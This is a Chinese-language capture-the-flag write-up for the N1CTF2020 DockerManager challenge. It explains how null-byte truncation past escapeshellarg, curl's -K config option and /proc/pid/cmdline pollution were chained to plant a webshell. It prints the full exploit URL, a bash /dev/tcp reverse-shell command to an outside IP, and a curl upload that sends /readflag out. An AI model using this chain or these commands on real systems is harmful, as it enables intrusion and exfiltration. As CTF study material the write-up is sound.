0%

[N1CTF2020]DockerManager

[N1CTF2020]DockerManager

一万年没刷buu的题,今天看到群里赵总丢了这个题的wp,粗略看了下感觉有点意思,就立即进行一个buu的复现。。。。

题解

题目给了附件,包括Dockerfile,里面有一句chmod 777 /var/www/html/img/
img目录可写
看源码,index.php锤子用没有,view.php写了一个curl的exec
接受了一大堆参数,host在拼了一堆乱七八糟的东西之后过了一个escapeshellarg(),

$host_addr .= $mode . '?all=true';
$host_addr = escapeshellarg($host_addr);

剩下几个参数也就是过了一个escapeshellarg(),就如果有值前面就会再加上–cert这样的选项
然后最后拼出来一句$cmd = 'curl --connect-timeout 10 ' . $host_addr . ' -g ' . $cert . $key . $cacert;放到exec里面去执行

复习一下escapeshellarg(),就是转义所以引号,再给最外层套一个引号,专门用来处理参数防止逃逸的。-g这个选项不知道有什么锤子用,反正不影响跑

分析一下我们的处境,可控制的变量全都过了一次escapeshellarg(),也就是说参数逃逸让exec执行其他命令已经不太行了
只能让curl自己来做些什么
这里的$cert,$key,$cacert的选项还被写死了,唯一可控的就是$host_addr,但$host_addr后面也被拼了一些垃圾

所以fuzz可以发现拼接的垃圾可以被00截断搞掉

00截断

这里有一个小坑,我的理解和实际情况不是很一致,我一开始以为这个00截断一波,就直接把$cmd后面的内容都截断掉了,然后$host_addr就前面有半边escapeshellarg()加的引号而后面没闭合,我还在想是不是可以直接分号多执行一条语句,试了半天没成
本地开始测试,结果00截断直接报fatal error崩掉,人都傻了,最后怒而看请求头看PHP版本,发现用的是远古5.4,本地切换5.4就成了,并且00截断就只会出现一个warning
http://127.0.0.1/;whoami%00/pppppp的过escapeshellarg()后的结果是"http://127.0.0.1/;whoami"
也就是说只是在escapeshellarg()时截断掉了后面的内容,连加上来的引号都还留着,不过好歹$host_addr这个在引号里面的参数完全可控了

短选项

就是-?这种就一个字母的选项,这种选项被引号包裹起来也能正常使用,使得我们可以在$host_addr内填的不是一个url,而是另一个短选项,然后看看有什么可以利用的短选项

寻找到-K,功能是读取一个文件作为curl的输入参数,看man手册
里面还举了一个很有意思的例子,这个配置文件里的url就是目标,而output则是将把从目标读来的内容写进对应文件,可以说是一个超级写shell功能了

# --- Example file ---
# this is a comment
url = "example.com"
output = "curlhere.html"
user-agent = "superagent/1.0"
# --- End of example file ---

不过这里还是有一个问题的,虽然-K读取的配置文件能忽略掉不符合语法的行,但是它只允许读取本地文件,并不能导入远端的,不然就一键打通了
那么就还得想办法在服务器上整一个文件出来

/proc/`pid`/cmdline

虽然我知道有这么一回事,但是这个利用思路是真的牛逼,这也是我想复现这个题的原因
当使用exec的时候,会新开一个进程来执行exec的内容(操作系统常识),而cmdline里的内容就是这个进程启动时的命令行输入,这里的cmdline就是我们执行时的curl的那一长串$cmd
那么如果我们把这个cmdline给污染掉,污染成一个-K能理解的,从远端读取文件然后写到本地的配置文件格式,然后再起一个curl,指定-K去读取这个/proc/`pid`/cmdline文件,就可以实现利用

但是pid是变动的,需要爆破,而我们curl发起到结束的时间太短,条件竞争都很难做到刚好命中
这里赵总又提出了一个很有意思的点,第一个curl的-K参数指定为/dev/urandom,这是Linux的随机数产生接口,会无止境的产生随机数,这样子指定curl去读,curl就会因为一直读不完这个”配置文件”而迟迟不能结束,这样子它在proc中就能常驻,也就可以再去触发了

构造第一次邪恶的访问http://1e0085be-28a0-4fd4-b7a6-4dd9596b2770.node3.buuoj.cn/view.php?host=-K/dev/urandom%00&cert=1%0a%0aurl=”https://www.z3ratu1.cn/shell.html”%0aoutput=”img/shell.php”%0a%0a

再指定host为-K/proc/pid/cmdline爆破就可以了
这里有一个奇怪的点,docker因为进程少,pid一般都很小,读个十来个就能差不多没了,但是我第一次测试的时候遍历了1-100没结果,反复了几次都不行,后来重启环境一遍就打通了,不知道是不是之前测的太多导致pid增长,最后我这次邪恶访问的pid超过100了?

获取flag

看根目录,有flag是500,readflag可执行,执行readflag返回了个这个回来
Solve the easy challenge first (((((-73792)-(-138348))-(129100))+(913156))+(131541)) input your answer: calculate error!
需要弹个shell回来交互一下,就system函数这么打不太行,后续输入没得
弹shell也智障了半天,bash -c这招我已经记住了,但是忘记url编码&了。。。弹了半天没弹回来
记住url编码。。。。
system(“bash%20-c%20%27bash%20-i%20>%26%20/dev/tcp/47.103.140.44/10020%200>%261%27%20”);

弹了个shell也不好使,不给计算的机会就直接结束了,报了个错
bash: [131: 2 (255)] tcsetattr: Inappropriate ioctl for device
查了一下是由于这个程序的IO并没有重定向到我们弹出来的shell这
如上是来自Stack Overflow的错误解答。。。

trap “” 14

今天让AA手把手教了我一波,完全理解了是怎么回事,应该说这个东西在以前的ctf比赛中见到过
据说大家第一次遇到的时候解决方案是用Perl写交互脚本,很麻烦
不是重定向的问题,是readflag设置了一个定时器,在极短的时间内不能作答就直接退出了
先用curl把readflag拉下来确认一下
curl -F "filename=@/readflag" "http://47.103.140.44:10055"
然后丢进IDA逆向,能够很容易看到使用了一个ualarm函数,该函数作用为计时对应毫秒后发出一个SIGALRM信号,也就是timeout信号,默认收到timeout即超时退出,就会出现上述情形,不过参数设置的是1000,理论上计时是1s,但是实际用的时候感觉是一瞬间就退出去了(不知道什么情况)
后来看到evoA博客上说bash弹的不是交互shell,自己拿vps试了一下也是可交互的,问题应该还是出在这个ualarm上

使用trap指令进行对信号的控制,比如我们按下Ctrl-C会产生一个SIGINT(interrupt),但是按下Ctrl-C不一定就得立即退出,可能还得扫尾做清理工作,所以使用trap指令指定收到对应信号的行为

因此,trap cmd sig,SIGALRM对应的数字是14,cmd留空代表忽略该信号
先键入trap "" 14让那个ualarm无效,然后就可以慢悠悠的计算算式获取flag了

总算全理清楚了